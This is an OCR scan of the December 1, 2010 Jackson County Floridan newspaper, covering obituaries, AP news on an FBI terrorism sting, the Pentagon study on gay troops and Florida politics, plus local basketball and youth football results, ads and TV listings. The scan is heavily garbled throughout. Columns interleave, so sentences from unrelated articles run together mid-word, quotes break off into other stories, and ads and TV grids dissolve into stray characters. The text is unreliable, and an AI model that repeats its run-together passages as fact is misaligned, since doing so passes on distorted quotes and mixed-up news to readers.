Chaplin Char- lie Dykes officiating. A time of remembrance will be one hour prior to service. Interment will follow in the Rocky Creek Baptist Church Cemetery. Marianna Chapel Funer- al Home is in charge of lo- cal arrangements. Expressions of sympathy may be submitted online at m. James & Sikes Funeral Home Maddox Chapel 4278 Lafayette St. Marianna, FL 32446 482-2332 funeralhomes.com Lola M. Sims, 97, died Tuesday, Nov. 30, 2010, at Marianna Health & Rehab. Arrangements are incom- plete and will be an- nounced later by James & Sikes Funeral Home Mad- dox Chapel. through eight grade and 25, in high school. The requirements went into effect for every core curriculum classroom this year after being phased in for several years. Voters rejected a consti- tutional .amendment to loosen the limits on Nov. 2. Read our top stories, classified. and ohirs online! mio1UaL Mildred Marie Moats, 58, of Marianna passed away Monday, Nov. 29, 2010 in the Signature Healthcare at the Courtyard. The funeral service for Florida House GOP holds closed-door meetings THE ASSOCIATED PRESS TALLAHASSEE, Fla. - Florida House Republicans are holding closed door meetings to discuss topics ranging from arcane legislative procedures to .working with the press. The Miami Herald and St. Petersburg Times reported Tuesday that House Speaker Dean Cannon called his 80 GOP colleagues to the *two-day training seminar at the Rosen Shingle Creek Resort near Orlando without public notice. The secretive gathering began Monday. It is legal because the Legislature is exempt from Florida's open-meetings "sun- shine" law that bars mem- bers of other governmen- tal bodies from discussing public business in private. Reporters had been invited to a similar meet- ing of House Republicans two years ago. The Florida Republican Party is picking up the tab. State sued over sale of driver's license information THE ASSOCIATED PRESS TALLAHASSEE, Fla. - represent- ing the drivers told the South Florida Sun- Sentinel that the sales violate a federal statute banning the disclosure of personal information from driver's licenses. Howard 'Bushman says addresses, dates of birth and possibly Social Security numbers were released. The judge in Tallahassee ruled earlier this month that affected drivers tan become mem- bers of the suit. Teen girl sentenced for fatal stabbing THE ASSOCIATED PRESS TAMPA, Fla. A teen convicted of murdering a man that she claims attacked her will spend about three years in a facil- ity for youthful offenders. A Hillsborough County judge sentenced 18-year- old Yajaira Jimenez- Castillo on Monday to 15 years, but much of that sen- House Continued From Page 1A A number of home-busi- ness owners will be selling their wares at the Russ House on that date from 9 a.m. until noon. All the vendors are county resi- dents, and they've struc- tured the event in a way that can help families in need and also help support the Russ House. The owners will give 10 percent of their proceeds to the Russ House Foundation. Every shopper who brings a canned good or a new toy to the sale will get a ticket for a chance to win free merchandise. 'The canned goods will be placed in holiday food bas- kets for local families. The toys will go to help a num- ber of struggling families in the National Guard's 144th Transportation Company, which is based in Marianna. The vendors on board so far sell a variety of prod- ucts. BeautiControl is a skin care line. Avon make-up tence was suspended. A jury had previously rejected her claims of self-defense. In June 2008, Jimenez- Castillo,. then 15, was drunk and high when 23- year-old Ramon Ramirez Arzola reportedly tried to grab her breast, called her a dirty name and pulled a knife. The girl told author- ities that Arzola threw her and fragrance gift sets will be for sale. Melaluca is an all-natural product line for the home with a wide vari- ety of items, from cleaners to skin care to food. Max Wood Crafts offers, handmade wooden doll rockers, wooden sleighs and other decor for home and garden. A Sentsy rep- resentative will have wick- less candles, which use wax that is safe for chil- dren to touch. Other vendors will sell designer and handmade jewelry, handmade hair- bows and holders, and more. Event organizer Rebecca to the ground and tried to rip her clothes. She cut her hand while grabbing his knife but then stabbed him 74 times. Jimenez-Castillo said she had been sexually abused by relatives when she was younger and thought Arzola was going to rape her. Hambly said other vendors who want to participate can call or contact her via e-mail before noon on Dec. 3. There's a $15 set- up fee for sellers, and they must be willing to give 10 percent of their day's sales to the Russ House founda- tion. Vendors' wares must be from a home-based business line, or be home- made. If a vendor agrees to take orders for catalog items, they must be able to guarantee delivery by Dec. 23. For more information, call Hambly at 850-832- 7207 or e-mail her at ham blyrs@yahoo.com. Ex-Fla. House Speaker Sansom wants delay in trial THE ASSOCIATED PRESS for a delay in his trial he could lose his job take one or two Northwest Florida until after the school as dean of students at weeks to decide. State Colleg9 after TALLAHASSEE, year ends. Okaloosa Academy The Destin funneling millions to Fla. Former Sansom's lawyers Charter School in Republican aroused the school. Florida House filed a motion Crestview if the trial suspicion two years He later was Speaker Ray Monday in begins March 21 as ago when given a charged with grand Sansom has asked Tallahassee saying scheduled. It could $110,000 job at theft. Mildred Marie Lola M. Sims ]Mf1".- n 8A Wednesday, December 1, 2010 Jackson County Floridan NATION FBI sting stops another terrorist plot BY MATT APUZZO ASSOCIATED PRESS WASHINGTON Mohamed Mohamud appeared to have dis- covered an unusually compassion- ate pair of terrorists. They told him he didn't have to kill to be a good Muslim. He could just pray. A bomb was a very seri- ous under- stand? With us, you always have a choice." It was not an offhand remark. It was part of a carefully scripted routine the FBI has been perfect- ing since the September 2001 ter- rorist gov- ernment's go-to strategies in ter- rorism cases. But the tactic is not without its critics. Each arrest has been fol- lowed by allegations of entrap- ment and claims that the govern- ment peo- ple gathered outside a federal court building about a five-block walk from what the government alleges was the target of the bomb plot last week, Pioneer Courthouse Square. No terrorism case since 9/11 has been thrown out because of entrap- ment. Just last month, the tactic This image released Nov. 27 by the Multnomah County Sheriff's Office shows Mohamed Osman Mohamud, 19. Time and again, the FBI offered a way out. And each time, officials said, Mohamud persisted. He wanted to kill people, he said. AP Photo/Mauthnomah County Sheriff's Office- standing," peo- ple con- nect with ajihadist actu- al attack. After all, Mohamud also made it clear he wanted to carry out an attack and rejected every opportuni- ty to change his mind, officials said. "He was told that children - children were potentially going to be harmed," Attorney General Eric Holder said Monday, reject- ing. Pentagon study dismisses risk of openly gay troops BY ANNE FLAHERTY ASSOCIATED PRESS WASHINGTON The Pentagon's study on gays in the military has determined that overturning the "don't ask, don't' tell" ban on serv- ing openly might cause some disruption at first but would not create widespread or long-lasting problems. The study provides ammunition to congression- al Democrats struggling to overturn the law. But even with the release of Tuesday's report, there is no indication they can over- come fierce Republican objections with just a few weeks left in this year's postelection congressional session. Still, Defense Secretary Robert Gates and the chair- man of the Joint Chiefs of Staff, Adm. Mike Mullen, said Congress should act quickly because of a recent effort by a federal judge to overturn the law. Gates said the military needs time to prepare for such an adjustment, even though he said he didn't envision any changes to housing or other personnel policies. He said a sudden, court-issued mandate would significantly increase the risk of disruption. "Given the present cir- cumstances, those that choose not to act legislative- ly are rolling the dice that this policy will not be abruptly overturned by the courts," Gates told reporters. The co-chairs of the study, Pentagon General Counsel Jeh Johnson and Army Gen. Carter Ham, wrote, "We are both con- vinced respon- dents believe they haveater- nization. "Existing policies can and should be applied equally to homosexuals as well as het- erosexuals," he said, adding that the change could be addressed through increased training and education. Though some troops sug- gested during the study that there should be separate bath and living facilities for gays, the report recommend- ed against it because it would be a "logistical night- mare, expensive and impos- sible to administer." HEARING AID SALE Get all the Quality and Service for 1/2 the Price! Aj Limited Time & Appointments Available Do you hear but don't understand? Do people seem to mumble? Do you miss out in church meetings? Do you miss what your grandchildren say? Now is the time to take care of your hearing problem and save big $$$ rI LOW i LOW ---------- ,- - PRICE GUARANTEE I We will beat any of our competitor's prices on comparable I i model and circuity by at least 10% or possibly more I Marianna Hearing Aid Center 850-557-5855 Call for your appointment today! WE BUY GOLD YOUR TRUSTED JEWELER FOR ALMOST 40 YEARS Expert fw atson Expert. wel ry 'JEWELERS woath Repair GEOLOGISTS Repair Downtown Marianna -850-482-4037 I I a 11111 I FREE Hearingg ,I LU z SECTION B Crossword Classifieds ......4B ... 5-6B Comics .........4B TV Grids ........3B Inside ' Vikings take on the Dolphins in MERE football league -2B A MEDIA GENERAL NEWSPAPER SPORTS Lady Hornets Wright scores 25 rebounds. Jakia Grimsley also scored in 51 -41 victory six points for Cottondale, and BY DUSTIN KENT FiORIDAN SPORTS EDITOR The Cottondale Lady Hornets picked up their first victory of the season Monday night in Chipley, topping the Lady Tigers 51-41. Shay Wright led the Lady Hornets with 25 points and 18 rebounds, and Khadejah Ward added 16 points and six led the team with seven assists. Cottondale led from start to finish, taking a 10-6 lead after one period, and going in front 22-14 at halftime. The Lady Hornets extended their advantage to 10 in the third period, and held the lead through the fourth. "We finally played our style of basketball," Cottondale coach Shan Pittman said. "We controlled the tempo and post played our pace. Overall,. very pleased with how played." Cottondale struggled ear Pittman's first year as the coach, however, the Hornets were much moi control of the action Monc "We only had 11 turn which was big for us,' coach said. "We were ab make smart decisions, and paid off for us." Pittman got good n from her talented trick Wright, Ward, and Grin WEDNESDAY win over Chi ley I was The coach said she's still Cottondale's we looking for more. J dkia "Shay is playing very well, Grimsley rlyin and. she made some big dribbles head plays." the coach said. down court Lady "Khadejah has been the most against re in consistent. If I can get consis- Graceville.- day. tency out of all three of them, Mark versthe at would be great." Skinner/Flor le to The Lady Hornets were .h idan ol to lIm, d that rights o of nsley. scheduled to host South Walton on Tuesday night and Vernon on Thursday. Cottondale travels to Sneads Friday. Laster lifts GHS to win BY DUSTIN KENT FLORIDAN SPORTS EDITOR The Graceville Tigers opened their regular season with a narrow victory over the Bozeman Bucks on Monday night in Panama City. Byron Laster made a shot with four seconds left in regulation off of a penetra- tion and pass from Rasheed Campbell, to lift the Tigers to a 52-50 win. Bozeman had a last-sec- ond heave of its own that nearly went in as time expired. Laster finished with 10 points, with Jacky Miles leading the Tigers with 15. Still, it was a perform- ance that left Graceville coach Thomas Register longing for more. "You come out and play a team like Bozeman, you have to set the intensity from the beginning, and we didn't do that," the coach said. "We had some bad, bad turnovers, and just some dumb mental errors that happened the entire game." It was the first game action for the Tigers since a preseason win over Bay on Nov. 19. Graceville didn't play during the holiday week, and Register said that fact was apparent on Monday. "We looked like a team that hadn't stepped on the cburt in a week," he said. "The week off definitely See GHS, Page 2B I' : ~. Chipola's Jeverik Nelson makes a shot at a recent game.-Mark Skinner/Floridan. I Road romp No. 10 Chipola Indians take two0wins on road BY DUSTIN KENT FLORIDAN SPORTS EDITOR After finishing their extended road trip with a victory, the No. 10 Chipola Indians will return to the Milton H. Johnson Health Center this weekend for the Panhandle Classic. Chipola (8-1) took wins of 66-54 over Daytona State and 88-78 over Northwest Shoals last weekend in Niceville in the final two games of a seven-game road trip that started on Nov. 12 in Decatur, Ga. The Indians went'6-1 during the trip, los- ing only to Monroe, N.Y., 72-61 on Nov. 20 in Miami. Chipola also collected some impressive wins over the likes of Georgia Perimeter, Miami Dade, and Daytona State. "I think it has been good for us," Indians coach Jake Headrick said of the road trip. "We played a quality opponent just about every night. We had close games, we've been tested, and we had gaines where won by a big margin and everybody got to play, so we got to experience a bit of everything. That's what you want this time of the year before the conference season. "Last year, I don't know how prepared we were going into the conference schedule. I'm not sure we knew what we were getting into." Marcos Knight had a monster game in Saturday's win over Northwest Shoals, going for 19 points and 21 rebounds. Shamarr Bowden also added 18 points, with Geron Johnson scoring 16, Keith DeWitt 15, and Elijah Pittman nine. But while Headrick praised his team after Friday's win over Daytona State, he was less enamored with his club's effort on Saturday. "It was just a sluggish game. We played like a team that had played seven straight road games," the coach said. "I felt like we definitely played a lot better the day before. The energy and effort were not where it See CHIPOLA, Page 2B 0> Bullpups suffer loss in double overtime Shaquarious Baker scores 21 points in losing effort BY DUSTIN KENT FLORIDAN SPORTS EDITOR The Marianna Middle School Bullpups dropped a pair of games to Roulhac on Monday evening in Chipley, including a thrilling, double-overtime loss in the eighth grade game. The Roulhac seventh grade took the first game of the night, 51-42, with Marianna's Tre Clemons scoring 23 points in defeat. But the eighth grade* game was the real main event, as both Marianna Middle and Roulhac came into the game undefeated on the season. The game lived up to its billing, with Roulhac out- lasting the Bullpups 59-55 in two extra periods. Trent Forrest led Roulhac with 27 points, with Tyrone Sharp adding Marianna Middle School's Shaquarious Baker looks for an opening at a recent garme.- Mark Skinner/Floridan 19. out. Marianna was led by Shaquarious Baker's 21 points, with Brian Pender contributing 13 points, and Qua Hall 18 rebounds. "It was a great game," Bullpups coach Brad Cross said. "Each team had a chance to win. It was just one of those things where it's a shame either team had to lose. Both "I'm proud of the team for going into a hostile environment and playing well. It was loud, and they had a real good crowd, but the guys played with a lot of heart and played real well." A pair of Marianna turnovers allowed Roulhac to get an early cushion in the second overtime, and teams played their hearts the home team came up with a pair of clutch free throws, late to secure the win. "They're a very'good team," Cross said of Roulhac. "They're, very big and fast, and they've got about seven or eight guys who can really play. I thought we were intense on defense, and our press helped us get a lead. But Roulhac had three or four really good ball-handlers, and they were able to break the press in the sec- ond half." Marianna led by five at halftime, and by four entering the fourth peri- od, but could not hold off Roulhac's late rally. "In the end, they had a couple more bounces and breaks go their way," Cross said. "In the second half, I think our players got a little frustrated and started turning it over. "Again, it's just a shame someone had to lose." The loss was also the first of the season for the Marianna seventh grade.The Bullpups will next host Walton on Thursday at 5 p.m.. and 6 p.m. Terps O'Brien ACC rookie of the year THE ASSOCIATED PRESS GREENSBORO, N.C. - Danny O'Brien has become Maryland's first Atlantic Coast Conference rookie of the year. The freshman quarter- back on Tuesday was named the league's overall rookie of the year as well as its top offensive newcomer fol- lowing a vote of the Atlantic Coast Sports Media Association. Florida State cornerback Xavier Rhodes was the ACC's defensive rookie of the year. O'Brien received 54 of a possible 61 votes for the overall award. while Rhodes and Wake Forest running back Josh Harris each had three votes and Clemson receiver DeAndre Hopkifs received one vote. For the offensive award, O'Brien had 58 votes, Harris had two and Hopkins had one. O'Brien. a 6-foot-3 redshirt freshman, threw 21 touchdown passes - four shy of the league record for freshmen. He ranks third among freshmen nationally with a pass efficiency rating of 135.2 and aver- aged 188 yards passing. He started the season as the backup to Jamarr Robinson but took con- trol of the job when Robinson injured his shoulder. O'Brien is a key rea- son why the Terrapins finished 8-4, contended for the Atlantic Division title until the final weeks of the regular season and secured a bowl berth one year after finishing 2-10. Rhodes received 35 votes for the defensive award to finish ahead of Boston College line- backer Kevin Pierre- Louis, who had 21 votes, Duke linebacker Kelby Brown (4) and North Carolina defen- sive lineman Tim Jackson (1). I -----7 2B Wednesday, December 1, 2010 Jackson County Floridan SPORTS The Vikings squared off against the Dolphins at MERE Monday night.- Mark Skinner/Floridan Vikings squeak past Dolphins BY SHELIA MADER FLORIDAN CORRESPONDENT Action continued at Optimist Park Monday evening in the junior tack- le league, with four teams and two games in action. In game one, the Vikings squeaked by the Dolphins 8-6 before game two saw a little more offensive action with the Saints holding on to a 16- 14 win over the Cowboys. Game one was a defen- sive battle from the begin- ning. * In the first quarter, the only points came off of a 40-yard touchdown run by Tyler White. Shamari Pittman rushed for the 2-point conver- sion, which ended up being the difference in the game. The offense for both teams remained dormant until the fourth quarter when the Dophins' Eric Watford scored on a 10- yard run. The conversion failed, and the Vikings kept their perfect season alive. In game two, the Saints posted the first points of the game on a rushing touchdown by Fred Ward, who added the 2-point conversion on a run to put them up 8-0 in the second quarter. In the third period, the Cowboys' Alex Edwards scored on 30-yard run, but the conversion was unsuccessful, giving the. Saints an 8;0 advantage. The Saints added a touchdown minutes later on a run by Ward, who again scored on the 2- point conversion. The Cowboys battled back for. another Edwards rushing touch- down, who added the conversion to make it a 16-14 game. The Saints managed to control the ball in the fourth quarter and pre- serve the win. Action continues at Optimist Park on Tuesday evening. Results of those games were not available at press time. Miami welcomes new coach THE ASSOCIATED PRESS CORAL GABLES - When Jeff Stoutland says he wears Miami's "U" on his chest, he's talking about something deeper than a logo on a polo shirt. He's talking about the scare of his life. It was May 19. Stoutland had been expe- riencing discomfort dur- ing his daily workouts, and picked that day to finally go get a stress test at the University of Miami hospital. Doctors checked his results, then told him sit in a wheel- chair and not to move. "They said, 'Do you. understand you're 99 per- cent blocked in the 'wid- ower'attirday for- mer boss's brain for ideas on how to get the Hurricanes best prepared for the bowl game. Stoutland said he was Miami head coach Randy Shannon argues a call with college'football game against Virginia Tech in Miami. Saturday night Nov. 27, 2010.-AP Photo humbled by the opportu- nity, although he never envisioned or wanted - the chance to lead the Hurricanes. Miami's offensive line coach for the four years that Shannon led the Hurricanes, Stoutland is the son of a man who spent four years in the New York Yankees' farm system, and has a wife who writes children's books that tell motivation- al stay- ing bot- tom of my heart," Stoutland said. "When Randy Shannon brought- me here four years ago and I arrived at the University of Miami, and as I stand here today, I can tell you this: This pro- gram is in much better shape right now than when I came here. "We're a better team than our record is," Stoutland added. "I know that. We all know that. We have great kids here." There was a team meet- ing Sunday where Stoutland's role as the interim .coach was announced, more. meet- ings Monday to get some academic details final- ized, and .plans are already in place for prac- tices to resume based on which bowl the Hurricanes wind up play- ing. Stoutland wants to stay, a referee during an NCAA Miami fired Shannon on him- self through a trying time. The only thing that'll sopthe. Chipola Continued From Page 1B needed to be. Now, we get to come back and play three games at the house, so the guys should be excited about that." Chipola will play Thursday, Friday, and Saturday, beginning first against' Tampa Bay Academy on Thursday at 7 p.m. The Indians will take on Santa Fe on Friday, and Brunswick, N.C., on Saturday, both games at 8 p.m. Brunswick went to the national tournament last season, and Santa Fe comes in at 8-1 and ranked No. 6 in the state. The three-games-in- three-days format will serve as another postseason prep for the Indians, but Headrick said he hoped his team handled consecutive games better this weekend than they have so far this season. "We've got to do a better job of following a good game up with another one when we play consecutive days," he said. "We can't play really good one day, then not be good the next day., It's time we start put- ting together back-to-back games, and being ready to play every night. This weekend would be a good place to start." The team's only loss came a day after a 73-7.0 win over Broward in Miami. The hope is that being back at home will help alle- viate any motivational issues. "The guys should have a lot of emotion playing in front of a home crowd again," Headrick said. "I'm anxious to see how they respond. Hopefully, we'll have great crowds every night. It will be good bas- ketball all day long, starting at 12 p.m. all the way to the night game. I hope we can get as many people in the stands to come support us as possible." GHS Continued From Page 1B hurt us. We're a better team than that. We're better than 52 points." The Tigers didn't get on the board until the five-minute mark of the first quarter. They led 12-5 after the initial peri- od, and 26-18 at halftime. Graceville led 42-35 after three, holding off the Bucks' fourth quarter rally. Register said he was happy to escape with the victory, and said his team needed to show more as the season moves on. "I'm looking for consisten- cy," he said. "We need guys buying into what we're trying to do. We need them buying into the little things, and we don't have that right now. Take nothing away from Bozeman because those guys play hard. But we're not play- ing good basketball. "But I told the guys after the game that championship teams find a way to win even when they don't play good, and that's what we were able to do." The Tigers were sched- uled to take on Vernon on Tuesday night. VOTED YOUF 01'VnRE STM TEM FOR '0e&109 :\'" ,: ". .. Gius ias- :;:- Gus has beer, '4i. . mariaging the'P,-,rts . Dep rtiment for oer .. ,- ,. ' 12 .,ears Call Gus for -- all your Tires, Parts r ard Accessnd;r/needs 1_T:r iIJl:,'.IL_ VOTED YOUR ,, ' FCP SVENYEAMS IN A ROWI Greg, our Body Shop MSoac'nager, has over S20 .,ears experience ,. ,rin "the body shop field. Call Greg i ,,' for outstanding service from ( S Rahal-Miller's Body titydQE pRqy Shop Department. F --------- --------- COOLANT FLUSH S69.95 FOR MOST VEHICLES WITH 1 GALLON ANTIFREEZE ..-...- .....-- .-.-- --.-.- ---- --- - -- - --- -- A^ '10% OFF I GM & NISSAN ACCESSORIES IL ......................- J ----------------------------a LOANER CAR WITH COLLISION REPAIRS S-- --$ 4204 W. LAFAYETTE ST. MARIANNA, FL 482-305 1 482-6317 SERVICE & PARTS DEPARTMENT IS OPEN ON SATURDAYS 8:00AM TO 12:00PM FORYOUR CONVENIENCE CIIIIY4l 4 COI.I.F (..1: C P.IMIN'., L JtSTICE T:P.AIlNTNi..r CENTER B.^ l.-m I-) F 'll 1'iiK'n ii & to La w illimIIo1'4.'tll Night Academy starts January 24, 2011 ,-t.'i (' C 4.1 o .'L i.tI A ;tttilcnl Day Academy starts: Janiary 10, ",.11 Fire fitht.-r Ac;Iidenty Day .ca.ilminy starts: Januay 18, i 1 AL & GA resiw .1,- i 'rw .fsate f-mition call .: :" 713-24799 c .:--".i 7J3-2286 . T I . . ..--------.---------------- . pftd A.I, Wl-!--l,,"`L- I . k I SPORTS. Middle School Basketball Thursday- Walton at Marianna, 5 p.m., and 6 p.m. Sports Items Send all sports items to editorial @jcflori- dan.com, or fax them to 850-482-4478. The mailing address for the paper is Jackson County Floridan P.O. Box 520 Marianna, FL 32447. What's happening when? Check the Community Calendar on Page 2A. Jackson County Floridan Wednesday, Decemnber 1, 2010 3B Miami may see Delhomme Sunday THE ASSOCIATED PRESS BEREA Eric Mangini is looking beyond the interceptions Jake Delhomme keeps throwing, like a beauty pageant judge overlooking a contestant's third eye, to point out what Delhomme did well Sunday when the Browns beat Carolina. Delhomme threw two inter- ceptions, one of which was returned for a Panthers touch- down, in the 24-23 Browns vic- tory. But he also completed 12 of 18 passes in the first half and he was 5 of 5 for 53 yards on the drive that led to Phil Dawson's winning field goal with 2:42 left. It is what Delhomme did well that will probably lead Mangini to naming him the starting quar- terback Sunday when the Browns play the Dolphins in Miami. Colt McCoy, who started the previous five games, wore a walking boot on his sprained left ankle as he left the locker room Sunday. McCoy was injured the week before in Jacksonville. "I don't know where Colt is (health-wise), so I don't even know if he's part of the discus- sion," Mangini said in his Monday press conference. "I hope he is, but Seneca (Wallace) will always be part of the discus- sion. l '- Cleveland Browns quarterback Jake Delhomme (17) going back to pass against the Atlanta Falcons during a football game in Cleveland.-AP Photo "Look Jake did a ton of stuff yesterday that was really, really good. That defense causes a lot of problems and they've been prob- lems we've had a hard time deal- ing with. He ran the offense very effectively and we would have scored at least another three or however many more (points) if (Evan Moore) didn't fumble (on the Carolina 2)." Delhomme threw a 41-yard touchdown pass to Mohamed Massaquoi on his second posses- sion as a Browns quarterback for a 7-0 lead over the Buccaneers on Sept. 12. Since then he has thrown six interceptions. Delhomme threw eight touch- down passes and 18 interceptions last season in Carolina. In a divi- sional playoff game at the end of 2008 he threw one touchdown pass and five interceptions. Add it up and it's 10 touch- down passes and 29 interceptions in the last 15 games for Delhomme. "It's like anything else," Mangini said. "You take some high-risk chances. They hit sometimes and it's great. Then you take some high-risk chances and they don't, and it's not very good. "If it's not there, it's not there. Not every play has to be extend- ed. Sometimes the. best thing to do is just throw it away. I've had a year with someone who is known as a chance taker, so I've lived through that." Mangini was referring to 2008 when he coached the Jets with Brett Favre at quarterback. Mangini said Panthers line- backer Jon Beason made "a real- ly good play" to.intercept a pass intended for Brian Robiskie and that Massaquoi was grabbed on the second. Panthers cornerback Captain Munnerlyn intercepted the pass and returned it 37 yards for a touchdown. Mangini also said Delhomme was late throwing the pass Munnerlyn picked off. "I'm not making any excuses or anything like that, but there were things in both of those plays that when you look at it objectively and unemotionally, you understand it a little bit bet- ter," Mangini said. "With Jake, he wants to do what's right and he wants to do what's in the best interest of the team and he brings a ton of pos- itive things." NFL reviewing argument with Aqub Talib THE ASSocIATE6 PRESS TAMPA The NFL is looking into a verbal con- frontation fol- lowing Sunday's 17-10 loss in Baltimore. Talib was upset about a team- mate being penalized for pass interference in the closing minutes of the first half. Talib reportedly made an expletive-laced com- ment. "We are looking into it," NFL spokesman Randall Liu said. The second-quarter pass interference call against rookie Myron Lewis, who was defend- ing the Ravens' T.J. Houshmandzadeh, set up a TD that put Baltimore up 17-3. Morris disagreed with the call and sought an explanation from Cheek before the second half began. "I don't really know what happened post- game, and I really didn't talk to Aqib. I'm sure he did the same thing that everybody else did - talked about the call, dis- agreed with the official and moved on," Morris said. "If they they had words, that's between him and, that official. I don't get into that stuff." Talib did not talk to reporters after the game, nor was he available for comment on Monday. The third-year pro leads the Bucs with six interceptions, despite missing the season open- er after being suspended one game without pay for violating the NFL's per- sonal conduct policy. He also was fined one addi- tional game check stem- ming from Talib punch- ing a cab driver in August 2009. Morris disputed pub- lished reports that Talib had to be restrained from going after the official on Sunday. "He didn't do anything wrong. He was just in conversations, so I'm not going to sit here and act like Aqib did anything wrong," the coach said. "I think you can misin- terpret how he talks. His swearing is not necessari- ly the swearing that you guys would come across," Morris added. "I don't even know if he swore. I do know he wanted an explanation of the call." WEDNESDAY MORNING / AFTERNOON DECEMBER 1, 2010 6:00 6:30 7:00 7:30 8:00 8:30 9:00 9:30 10:0010:311:011:3012:0012:30 1:00 1:30 2:0012:30 3:0013:30 4:00 4:30 5:00 5:30 20 he Early Show Packing;i personalized gifts. Griffith Fmily Fd Let's Make a Deal (N) The Price Is Right (N) News Young & Restless Bold he Talk (In Stereo) The Dr. Oz Show (N) Oprah Winfrey News News News News 3 WTVY This Morning rhe Early Show Packing; personalized gifts. Lve Regis & Kelly The Price Is Right (N) Young & Restless Live at Bold he Talk (In Stereo) Let's Make a Deal (N) Rachael Ray e Oprah Winfrey News. News 5 NewsChannel 7 Today roday Kate Gosselin; Martha Stewart, (N) (In Stereo) Days of our Lives N) News 7 at Noon Rachael Ray he Doctors (N) Ellen DeGeneres Mllionaire eopardy! ews BC News (8 News 13 This Morning Good Morning America (N) Live Regis & Kelly he View (In Stereo) he Dr. Oz Show (N) All My Children N One Life to Live i General Hospital (N) Dr. Phil (N) (In Stereo) Oprah Winfrey News BC News 10 AutoTech Paid Prog. aid Prog. AquaKids FunniestHome Videoshris Smarter Smarter Judge B. Housewives/OC NewLife Church JudgeMathls Justice Justice NateBerkus he People's Court dg Judy dg Judy 11 Arthur Martha curious Cat Inthe Super Dinosaur Sesame Street d ordWrld Between same Arthur lifford Martha Sd etch yberchas Electric [ordGIrl at Inthe Curous DInosaur ewsHo'ur 7 SHOW 'Buck Howard War Eagle, Arkansas" (2008) "A Quiet Little Marriage (2008) Looking for Eric"** (2009) Steve Evets. "Crashing'** (2007)' 'Pmm Wars (2008) Ricky Ullman. An Amercan Affai (200) R' "wess** (2007). 14 NICK Spong. onge. ponge. Max Ruby ora... Dora... Go, Diego Go, Diego Umlzoomi UmizoomI Dora... ora... x,Ruby ax, Ruby ponge. Sponge. Panet Penguins gTime early Sponge. Sponge. poe. Carly 16 TBS Saved/ Saved/ Saved e/ v e s, Dear Yes;Dear Prince nce prince ayne Payne Browns Amer.Dad Earl lm Raymond Jm [he Office Fends ends Raymond Raymond ng King 17 HBO The.Huollt H '-' l -'' '' F'C l',c ,'' l' I F) -,:'l D Birr rT. L Ai .' ; l,: i ..,-,, i, ..,, ,l iii * |iil.. T:,r FM ]: G I ,r . 18 ESPN2 5:00) Mike and Mike in the Morning (Live) E ESPN First Take (In Stereo Live), ESPN First Take (In Stereo) Best of FL Films Scott Van Pelt SportsNation (Live) ines round ation ardon 19 ESPN portsCenter SportsCenter SportsCenter (Live) SprtsCenter (Live) SportsCenter (Live) portsCenter (Live) portsCenter (Live) SportsCenter (Live) Lines lFootball NFL Live Burning Around Pardon portsCenter (Live) 20 CSS Mayhem in the A.M. portsNite (In Stereo) Whitetal outdoors ack Pain Paid Prog. Back Help FreeBullet College Football: Auburn at Alabama. College Football: Georgia Tech at Georgia. Basketball basketball Dawg Football portsNite 0 21 DISN Timmy Manny ckey mickey Mickey andy gent OsoAgent Oso anny Mickey MIckey jungle hugging overs Sonny onny Sonny onny Good ood Good Hannh Hannah Shake It 23 TNT Angel "City O harmed(In Stereo) harmed (In Stereo) Supernatural 0 Supernatural 0 Las Vegas (In Stereo) Las Vegas (In Stereo) The Closer old Case (In Stereo) Law & Order Law & Order "Dignity Law & Order 24 DISC Paid Prog. Roblson Meyer Faces American Chopper American Chopper American Chopper American Chopper Storm Chasers 0 Storm Chasers Storm Chasers E Storm Chasers 0 Storm Chasers Storm Chasers i 25 TWC Your Weather Today With Abrams and Bettes N Wake Up With Al Day Planner 0 Storm Storms Storm torm 26 USA Psych Psych Psych Psych 0 Psych (In Stereo) icean's Thdeen*** (2007, Comedy-Drama) 0 NCIS "Skeletons" NCIS "iceman" X NCIS "Grace Period" CIS "Cover Story" CIS (in Stereo) a 28FAM BoyWord Boy Word Sabrina abrina What Like 700Club he 700 Club more Girls StillStnd till Stnd Rules [Rules ull House Full House 7s Show 7s Show 7sShow 70sShow ilmore Girls Seuss Lorax 29 LIFE The Balancing Act (N) Will/Grace WilGrace Frasier Frasler Chris ;hris Chris How I Met Wife Swap (In Stereo) Desp.-Wives rey's Anatomy E Grey's Anatomy B JUnsolved Mysteries Unsolved Mysteries Chris Chris 30 A&E Jewels Jewels og Dog Dog og Dog og Dog Dog Dog Dog Dog Bounty Hunter Dog Dog Dog og Dog Dog Dog Dog Dog og 32 SYFY aid Prog. Bed pace Precinct Space Precinct Space Precinct Space Precinct Space Precinct Space Precinct Space Pecinct Space Precinct Star Trek: Enterprise Stargate Atlantis Fact or Faked 33AMC Paid Prog. HairLoss Pad Prog. PaldProg. "M'A'S*H"W**** I1:C.:.,l, iD, lir ,l,, L "Aplane l:TheSequel'** (1982)'PG' "Spacaeblls"**a (1987) Mel Brooks. "Airplane!*** (1980)Robert Hays.'PG' owmger(1999) 34 MTV AMTV:10 on Top MTV (In Stereo) master Disaster Disaster Disaster he Challenge: Cut he Challenge: Cut True Life (In Stereo) e, Myself and HIV 16 and Pregnant going Moving In heSeven 70 Show 7s Show 70s Show 35 BET (5:00) BET Inspiration rhe Mo'Nlque Show ernie Berne Bernie ernle JamleF. Jame F. ;hrs hris Leprechaun: Back 2tha Hoiod'* m The Game The Game rheGame he Game hris Chrs 6 & Park: Top 10 36TOON Bakugan IBeyblade okemon Wheels otalDra JohnnyT JohnnyT ole/Wall Scooby aboratoryodenam odenameomJerry -lero108 uper Evil Ed, Edd Grim Dog ourage ohnnyT JonnyT fot arfeld 39 HIST Modern Marvels E The Presidents 0 N he Presidents 0 0 he Presidents 0 rhe Presidents [ h Presidents 0 The Presidents 0 rhe Presidents 0 The Presidents 0 rhe Presidents 0 he Presidents 0 rhe Presidents 0 40 TVLND Faces Paid Prog. A-Family anford Jeffersons ood Jeannie eannle Bewitched Bewitched Gunsmoke B Bonanza Bonanza "The Bride" Bonanza "Bank Run" 3riffith riffith 3oodTime effersons AII-Family [AI-Family 43 CNN2 (5:00) Morning Express With Robin Meade Morning Express Showbiz Tonight LNNews howbizTonight rime News 0i 45 CNN (5:00) American Morning (N) ( Newsroom (N) Newsroom (N) Newsroom (N) Newsroom (N) The Situation Room With Wolf Blitzer (N) 46 CW (5:00) The Dally Buzz Steve Wllkos Show Browns Browns Bosby sy cause BA BA teve Wllkos Show The Tyra Show 00 Roseanne Roseanne Payne Payne yricsl yricsl 47 SPIKE Paid Prog. Paid Prog. Baby Paid Prog. CSI: NY (In Stereo) cSI: Crime Scene CSI: Crime Scene 